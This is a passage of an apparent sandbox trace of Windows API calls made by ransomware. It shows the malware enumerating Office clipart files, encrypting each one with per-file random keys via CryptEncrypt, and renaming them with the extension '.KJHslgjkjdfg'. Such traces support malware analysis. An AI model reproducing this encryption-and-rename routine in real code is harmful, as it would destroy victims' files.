lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4dfa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0301432.WMF", cAlternateFileName="")) returned 1 [0201.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.122] GetProcessHeap () returned 0x990000 [0201.122] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.122] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.123] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.123] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0201.125] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.125] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.125] GetProcessHeap () returned 0x990000 [0201.125] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.125] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.125] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.125] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.126] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.126] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.126] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.126] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.126] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.126] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.126] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.126] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.126] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4dfa, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4dfa, lpOverlapped=0x0) returned 1 [0201.128] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4e00, dwBufLen=0x4e00 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4e00) returned 1 [0201.128] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.128] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4e00, lpOverlapped=0x0) returned 1 [0201.128] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.128] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.128] SetEndOfFile (hFile=0x130) returned 1 [0201.131] GetProcessHeap () returned 0x990000 [0201.131] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.131] GetProcessHeap () returned 0x990000 [0201.131] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.131] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301432.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301432.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301432.wmf.kjhslgjkjdfg")) returned 1 [0201.133] CloseHandle (hObject=0x130) returned 1 [0201.133] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56726050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0304371.WMF", cAlternateFileName="")) returned 1 [0201.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304371.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304371.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.134] GetProcessHeap () returned 0x990000 [0201.134] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.134] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.134] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.134] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.135] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.135] GetProcessHeap () returned 0x990000 [0201.135] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.135] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.135] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.135] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.137] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.137] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.137] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.137] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.138] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.138] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.138] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.138] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.138] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xe20, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xe20, lpOverlapped=0x0) returned 1 [0201.138] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xe20, dwBufLen=0xe20 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xe20) returned 1 [0201.138] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.138] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xe20, lpOverlapped=0x0) returned 1 [0201.138] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.138] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.138] SetEndOfFile (hFile=0x130) returned 1 [0201.141] GetProcessHeap () returned 0x990000 [0201.141] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.141] GetProcessHeap () returned 0x990000 [0201.141] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.141] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304371.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304371.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304371.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304371.wmf.kjhslgjkjdfg")) returned 1 [0201.143] CloseHandle (hObject=0x130) returned 1 [0201.143] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56726050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x103e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0304405.WMF", cAlternateFileName="")) returned 1 [0201.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304405.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304405.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.144] GetProcessHeap () returned 0x990000 [0201.145] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.145] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.145] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.145] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0201.147] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.147] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.147] GetProcessHeap () returned 0x990000 [0201.147] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.147] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.147] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.147] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.147] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.148] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.148] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.148] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.148] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.148] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.148] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.148] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.148] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x103e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x103e, lpOverlapped=0x0) returned 1 [0201.149] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1040, dwBufLen=0x1040 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1040) returned 1 [0201.149] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.150] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1040, lpOverlapped=0x0) returned 1 [0201.150] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.150] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1114, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.150] SetEndOfFile (hFile=0x130) returned 1 [0201.153] GetProcessHeap () returned 0x990000 [0201.153] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.153] GetProcessHeap () returned 0x990000 [0201.153] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.153] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304405.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304405.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304405.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304405.wmf.kjhslgjkjdfg")) returned 1 [0201.154] CloseHandle (hObject=0x130) returned 1 [0201.154] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56726050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4a0e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0304853.WMF", cAlternateFileName="")) returned 1 [0201.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304853.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304853.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.155] GetProcessHeap () returned 0x990000 [0201.155] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.155] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.155] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.156] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0201.158] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.158] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.158] GetProcessHeap () returned 0x990000 [0201.158] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0201.158] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0201.159] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.159] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0201.159] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0201.159] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0201.159] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0201.159] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0201.159] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.159] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.159] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.159] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.159] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4a0e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4a0e, lpOverlapped=0x0) returned 1 [0201.161] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4a10, dwBufLen=0x4a10 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4a10) returned 1 [0201.161] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.161] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4a10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4a10, lpOverlapped=0x0) returned 1 [0201.161] CryptDestroyKey (hKey=0x9b6628) returned 1 [0201.161] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4ae4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.161] SetEndOfFile (hFile=0x130) returned 1 [0201.164] GetProcessHeap () returned 0x990000 [0201.164] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0201.165] GetProcessHeap () returned 0x990000 [0201.165] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0201.165] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304853.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304853.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304853.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304853.wmf.kjhslgjkjdfg")) returned 1 [0201.167] CloseHandle (hObject=0x130) returned 1 [0201.167] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2cf8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0304861.WMF", cAlternateFileName="")) returned 1 [0201.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304861.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.168] GetProcessHeap () returned 0x990000 [0201.169] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0201.169] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0201.169] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0201.169] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0201.171] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0201.171] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0201.171] GetProcessHeap () returned 0x990000 [0201.171] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, 